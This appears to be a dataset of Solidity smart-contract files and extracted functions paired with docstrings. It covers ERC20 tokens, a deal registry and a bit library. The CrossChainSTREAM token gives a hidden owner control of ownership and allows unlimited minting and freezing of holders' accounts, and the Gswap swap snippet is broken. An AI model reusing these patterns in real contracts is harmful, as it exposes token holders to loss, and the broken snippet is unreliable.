function getCoverPremiumSOTE(uint _cid) external view returns(uint _premiumSOTE) {
_premiumSOTE = allCovers[_cid].premiumSOTE;
}
| 11,348,201
|
//Address: 0x3893b9422cd5d70a81edeffe3d5a1c6a978310bb
//Contract name: MithrilToken
//Balance: 0 Ether
//Verification Date: 2/6/2018
//Transacion Count: 14407
// CODE STARTS HERE
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Owned
* @dev Ownership model
*/
contract Owned {
address public owner;
event OwnershipTransfered(address indexed owner);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
OwnershipTransfered(owner);
}
}
/**
* @title ERC20Token
* @dev Interface for erc20 standard
*/
contract ERC20Token {
using SafeMath for uint256;
string public constant name = "Mithril Token";
string public constant symbol = "MITH";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, uint256 value, address indexed to, bytes extraData);
function ERC20Token() public {
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address from, address to, uint256 value) internal {
// Check if the sender has enough balance
require(balanceOf[from] >= value);
// Check for overflow
require(balanceOf[to] + value > balanceOf[to]);
// Save this for an amount double check assertion
uint256 previousBalances = balanceOf[from].add(balanceOf[to]);
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
Transfer(from, to, value);
// Asserts for duplicate check. Should never fail.
assert(balanceOf[from].add(balanceOf[to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `value` tokens to `to` from your account
*
* @param to The address of the recipient
* @param value the amount to send
*/
function transfer(address to, uint256 value) public {
_transfer(msg.sender, to, value);
}
/**
* Transfer tokens from other address
*
* Send `value` tokens to `to` in behalf of `from`
*
* @param from The address of the sender
* @param to The address of the recipient
* @param value the amount to send
*/
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(value <= allowance[from][msg.sender]);
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* Set allowance for other address
*
* Allows `spender` to spend no more than `value` tokens in your behalf
*
* @param spender The address authorized to spend
* @param value the max amount they can spend
* @param extraData some extra information to send to the approved contract
*/
function approve(address spender, uint256 value, bytes extraData) public returns (bool success) {
allowance[msg.sender][spender] = value;
Approval(msg.sender, value, spender, extraData);
return true;
}
}
/**
* @title MithrilToken
* @dev MithrilToken
*/
contract MithrilToken is Owned, ERC20Token {
// Address where funds are collected.
address public vault;
address public wallet;
function MithrilToken() public {
}
function init(uint256 _supply, address _vault, address _wallet) public onlyOwner {
require(vault == 0x0);
require(_vault != 0x0);
totalSupply = _supply;
vault = _vault;
wallet = _wallet;
balanceOf[vault] = totalSupply;
}
function () payable public {
wallet.transfer(msg.value);
}
}
|
Set allowance for other address Allows `spender` to spend no more than `value` tokens in your behalf spender The address authorized to spend value the max amount they can spend extraData some extra information to send to the approved contract/
|
function approve(address spender, uint256 value, bytes extraData) public returns (bool success) {
allowance[msg.sender][spender] = value;
Approval(msg.sender, value, spender, extraData);
return true;
}
| 1,756,427
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
/* EXTERNAL DEPENDENCIES */
import "@openzeppelin/contracts/access/Ownable.sol";
/* INTERNAL DEPENDENCIES */
import "./CommonStructs.sol";
/**
* @title Deals contract
* @notice Contains the client data: mapping of the rules and accounts defined by the client
*/
contract Deals is Ownable {
/* STORAGE VARIABLES */
/// @dev Proxy contract address
address public proxyContractAddress;
/// @dev Incremental number that represents and gives access to a particular deal
uint dealId = 0;
/// @dev Number of rules for a particular deal (key = dealId)
mapping (uint => uint) private rulesCount;
/// @dev Number of articles for a particular rule (key = dealId, ruleId)
mapping (uint => mapping(uint => uint)) private articlesCount;
/// @dev Number of accounts for a particular deal (key = dealId)
mapping (uint => uint) private accountsCount;
/// @dev Mapping of accounts for a particular deal (key = dealId)
mapping (uint => address[]) private accounts;
/// @dev Mapping of Articles composing a particular deal (key = dealId, ruleId, ArticleId)
mapping (uint => mapping (uint => mapping (uint => CommonStructs.Article))) private deals;
/* STRUCT */
/* EVENTS */
/**
* @dev Event emitted when the Proxy contract address is changed
* @param _from Caller address
* @param _old Old address of the Proxy contract
* @param _new New address of the Proxy contract
*/
event SetProxyContractAddress(address _from, address _old, address _new);
/**
* @dev Event emitted when a deal is created
* @param _from address that initiated the deal creation
* @param _dealId Id of the deal created
*/
event CreateDeal(address _from, uint _dealId);
/* MODIFIERS */
/// @dev Modifier used to assess that the caller is the interpreter contract instance
modifier onlyProxy() {
require(msg.sender==proxyContractAddress, "Deals: Only Proxy may call");
_;
}
/* PUBLIC INTERFACE */
/**
* @dev Sets the Proxy contract reference. Emits a SetInterpreterInstance event
* @param _new Address of the Interpreter contract
*/
function setProxyContractAddress(address _new) public onlyOwner {
address old = proxyContractAddress;
proxyContractAddress = _new;
emit SetProxyContractAddress(msg.sender, old, _new);
}
/**
* @dev Returns the number of rules of a deal
* @param _dealId Id of the deal
* @return Number of rules in the deal
*/
function getRulesCount(uint _dealId) public view returns(uint) {
return rulesCount[_dealId];
}
/**
* @dev Returns the number of articles of a rule
* @param _dealId Id of the deal
* @param _ruleId Id of the rule
* @return Number of articles in the rule
*/
function getArticlesCount(uint _dealId, uint _ruleId) public view returns(uint) {
return articlesCount[_dealId][_ruleId];
}
/**
* @dev Returns the number of accounts of a deal
* @param _dealId Id of the deal
* @return Number of accounts in the deal
*/
function getAccountsCount(uint _dealId) public view returns(uint) {
return accountsCount[_dealId];
}
/**
* @dev Returns the address of an account of a deal
* @param _dealId Id of the deal
* @param _accountId Id of the account
* @return Account address
*/
function getAccount(uint _dealId, uint _accountId) public view returns(address) {
return accounts[_dealId][_accountId];
}
/**
* @dev Returns an article
* @param _dealId Id of the deal
* @param _ruleId Id of the rule
* @param _articleId Id of the article
* @return CommonStructs.Article
*/
function getArticle(uint _dealId, uint _ruleId, uint _articleId) public view returns(CommonStructs.Article memory) {
return deals[_dealId][_ruleId][_articleId];
}
/**
* @dev Creates a deal and returns its id
* Only the Proxy contract can call it
* @param _accounts List of the external accounts addresses linked to the deal
* @param _rulesList List of the rules linked to the deal (rule = list of Articles)
* @return Deal Id
*/
function createDeal
(
address[] memory _accounts,
CommonStructs.Article[][] memory _rulesList
)
public
onlyProxy()
returns (uint) {
// Save accounts
accountsCount[dealId] = _accounts.length;
for(uint i=0;i<_accounts.length;i++)
accounts[dealId].push(_accounts[i]);
// Save the rule count
rulesCount[dealId] = _rulesList.length;
// Save the rule list
for (uint i=0;i<_rulesList.length;i++){
// Save the number of articles in the current rule
articlesCount[dealId][i] = _rulesList[i].length;
for (uint j=0;j<_rulesList[i].length;j++){
deals[dealId][i][j] = _rulesList[i][j];
}
}
// Log a CreateDeal event and increment the global dealId
uint currentDealId = dealId;
dealId++;
emit CreateDeal(msg.sender, currentDealId);
// Return the deal Id
return currentDealId;
}
/* OVERRIDE & BLOCK UNUSED INHERITED FUNCTIONS */
/**
* @dev Block OpenZeppelin Ownable.renounceOwnership
* @notice Will always revert
*/
function renounceOwnership() public pure override {
revert('Contract cannot be revoked');
}
}
|
Returns the number of rules of a deal _dealId Id of the deal return Number of rules in the deal/
|
function getRulesCount(uint _dealId) public view returns(uint) {
return rulesCount[_dealId];
}
| 5,541,989
|
./full_match/4/0x82d8eE199CC7545d5BC02b78927cB184e595a0f7/sources/contracts/Gswap.sol
|
refund leftover ETH to user
|
function fromTokenToETH(address token, uint256 amountIn) public payable {
uniswapRouter.swapTokensForExactETH(
amountIn,
1,
getPathForTokentoETH(token),
msg.sender,
deadline
);
require(success, "Token -> ETH Failed");
}
| 757,805
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions, and hidden onwer account that can change owner.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _hiddenOwner;
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event HiddenOwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
_hiddenOwner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
emit HiddenOwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the address of the current hidden owner.
*/
function hiddenOwner() public view returns (address) {
return _hiddenOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than the hidden owner.
*/
modifier onlyHiddenOwner() {
require(
_hiddenOwner == _msgSender(),
"Ownable: caller is not the hidden owner"
);
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Transfers hidden ownership of the contract to a new account (`newHiddenOwner`).
*/
function _transferHiddenOwnership(address newHiddenOwner) internal {
require(
newHiddenOwner != address(0),
"Ownable: new hidden owner is the zero address"
);
emit HiddenOwnershipTransferred(_owner, newHiddenOwner);
_hiddenOwner = newHiddenOwner;
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract Burnable is Context {
mapping(address => bool) private _burners;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
/**
* @dev Returns whether the address is burner.
*/
function isBurner(address account) public view returns (bool) {
return _burners[account];
}
/**
* @dev Throws if called by any account other than the burner.
*/
modifier onlyBurner() {
require(_burners[_msgSender()], "Ownable: caller is not the burner");
_;
}
/**
* @dev Add burner, only owner can add burner.
*/
function _addBurner(address account) internal {
_burners[account] = true;
emit BurnerAdded(account);
}
/**
* @dev Remove operator, only owner can remove operator
*/
function _removeBurner(address account) internal {
_burners[account] = false;
emit BurnerRemoved(account);
}
}
/**
* @dev Contract for locking mechanism.
* Locker can add and remove locked account.
* If locker send coin to unlocked address, the address is locked automatically.
*/
contract Lockable is Context {
struct TimeLock {
uint256 amount;
uint256 expiresAt;
}
struct InvestorLock {
uint256 amount;
uint256 startsAt;
uint256 period;
uint256 count;
}
mapping(address => bool) private _lockers;
mapping(address => bool) private _Minter;
mapping(address => bool) private _locks;
mapping(address => TimeLock[]) private _timeLocks;
mapping(address => InvestorLock) private _investorLocks;
event LockerAdded(address indexed account);
event MinterAdded(address indexed account);
event LockerRemoved(address indexed account);
event Locked(address indexed account);
event Unlocked(address indexed account);
event TimeLocked(address indexed account);
event TimeUnlocked(address indexed account);
event InvestorLocked(address indexed account);
event InvestorUnlocked(address indexed account);
/**
* @dev Throws if called by any account other than the locker.
*/
modifier onlyLocker() {
require(_lockers[_msgSender()], "Lockable: caller is not the locker");
_;
}
/**
* @dev Throws if called by any account other than the Minter.
*/
modifier onlyMinter() {
require(_Minter[_msgSender()], "Mintable: caller is not the Minter");
_;
}
/**
* @dev Returns whether the address is locker.
*/
function isLocker(address account) public view returns (bool) {
return _lockers[account];
}
/**
* @dev Add locker, only owner can add locker
*/
function _addLocker(address account) internal {
_lockers[account] = true;
emit LockerAdded(account);
}
/**
* @dev Add locker, only owner can add Minter
*/
function _addMinter(address account) internal {
_Minter[account] = true;
emit MinterAdded(account);
}
/**
* @dev Remove locker, only owner can remove locker
*/
function _removeLocker(address account) internal {
_lockers[account] = false;
emit LockerRemoved(account);
}
/**
* @dev Returns whether the address is locked.
*/
function isLocked(address account) public view returns (bool) {
return _locks[account];
}
/**
* @dev Lock account, only locker can lock
*/
function _lock(address account) internal {
_locks[account] = true;
emit Locked(account);
}
/**
* @dev Unlock account, only locker can unlock
*/
function _unlock(address account) internal {
_locks[account] = false;
emit Unlocked(account);
}
}
contract CrossChainSTREAM is Pausable, Ownable, Burnable, Lockable, ERC20 {
uint256 private constant _initialSupply = 0;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(_msgSender(), _initialSupply);
}
/**
* @dev lock and pause before transfer token
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
require(
!isLocked(from),
"Lockable: token transfer from locked account"
);
require(!isLocked(to), "Lockable: token transfer to locked account");
require(
!isLocked(_msgSender()),
"Lockable: token transfer called from locked account"
);
require(!paused(), "Pausable: token transfer while paused");
}
/**
* @dev only hidden owner can transfer ownership
*/
function transferOwnership(address newOwner)
public
onlyHiddenOwner
whenNotPaused
{
_transferOwnership(newOwner);
}
/**
* @dev only hidden owner can transfer hidden ownership
*/
function transferHiddenOwnership(address newHiddenOwner)
public
onlyHiddenOwner
whenNotPaused
{
_transferHiddenOwnership(newHiddenOwner);
}
/**
* @dev only owner can add burner
*/
function addBurner(address account) public onlyOwner whenNotPaused {
_addBurner(account);
}
/**
* @dev only owner can remove burner
*/
function removeBurner(address account) public onlyOwner whenNotPaused {
_removeBurner(account);
}
/**
* @dev burn burner's coin
*/
function burn(uint256 amount) external onlyBurner whenNotPaused {
_burn(msg.sender, amount);
}
/**
* @dev pause all coin transfer
*/
function pause() public onlyOwner whenNotPaused {
_pause();
}
/**
* @dev unpause all coin transfer
*/
function unpause() public onlyOwner whenPaused {
_unpause();
}
/**
* @dev only owner can add locker
*/
function addLocker(address account) public onlyOwner whenNotPaused {
_addLocker(account);
}
/**
* @dev only owner can add minter
*/
function addMinter(address account) public onlyOwner whenNotPaused {
_addMinter(account);
}
/**
* @dev only owner can remove locker
*/
function removeLocker(address account) public onlyOwner whenNotPaused {
_removeLocker(account);
}
/**
* @dev only locker can lock account
*/
function lock(address account) public onlyLocker whenNotPaused {
_lock(account);
}
/**
* @dev only locker can unlock account
*/
function unlock(address account) public onlyOwner whenNotPaused {
_unlock(account);
}
/**
* @dev only Minter can Mint Tokens
*/
function mint(address to, uint256 _amount) external onlyMinter {
_mint(to, _amount);
}
}
|
burn burner's coin/
|
function burn(uint256 amount) external onlyBurner whenNotPaused {
_burn(msg.sender, amount);
}
| 13,893,550
|
pragma solidity ^0.4.25;
library LibBits {
function and(bytes1 a, bytes1 b) internal pure returns (bytes1) {
return a & b;
}
function or(bytes1 a, bytes1 b) internal pure returns (bytes1) {
return a | b;
}
function xor(bytes1 a, bytes1 b) internal pure returns (bytes1) {
return a ^ b;
}
/**
*按位非
*@param a byte类型参数
*@return byte
**/
function invert(byte a) internal pure returns (byte) {
return a ^ 0xff;
}
function negate(bytes1 a) internal pure returns (bytes1) {
return a ^ allOnes();
}
function shiftLeft(bytes1 a, uint8 n) internal pure returns (bytes1) {
var shifted = uint8(a) << n;
return bytes1(shifted);
}
function shiftRight(bytes1 a, uint8 n) internal pure returns (bytes1) {
var shifted = uint8(a) >> n;
return bytes1(shifted);
}
// get the high bit data and keep it on high
function getFirstN(bytes1 a, uint8 n) internal pure isValidLength(n) returns (bytes1) {
var nOnes = bytes1(2**n - 1);
var mask = shiftLeft(nOnes, 8 - n); // Total 8 bits
return a & mask;
}
function getLastN(bytes1 a, uint8 n) internal pure isValidLength(n) returns (bytes1) {
var lastN = uint8(a) % 2**n;
return bytes1(lastN);
}
// Sets all bits to 1
function allOnes() internal pure returns (bytes1) {
return bytes1(-1); // 0 - 1, since data type is unsigned, this results in all 1s.
}
// Get bit value at position
function getBit(bytes1 a, uint8 n)
internal
pure
isValidPosition(n)
returns (bool)
{
n--;
return a & shiftLeft(0x01, n) != 0;
}
// Set bit value at position
function setBit(bytes1 a, uint8 n)
internal
pure
isValidPosition(n)
returns (bytes1)
{
n--;
return a | shiftLeft(0x01, n);
}
// Set the bit into state "false"
function clearBit(bytes1 a, uint8 n)
internal
pure
isValidPosition(n)
returns (bytes1)
{
n--;
bytes1 mask = negate(shiftLeft(0x01, n));
return a & mask;
}
modifier isValidPosition(uint8 n) {
require(n < 9 && n > 0, "Invalid Position: n start with 1, n <= 8");
_;
}
/*校验长度*/
modifier isValidLength(uint8 n) {
require(n < 9, "Invalid Length: byte is 8 bits");
_;
}
}
|
Get bit value at position
|
function getBit(bytes1 a, uint8 n)
internal
pure
isValidPosition(n)
returns (bool)
{
n--;
return a & shiftLeft(0x01, n) != 0;
}
| 12,602,454
|
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
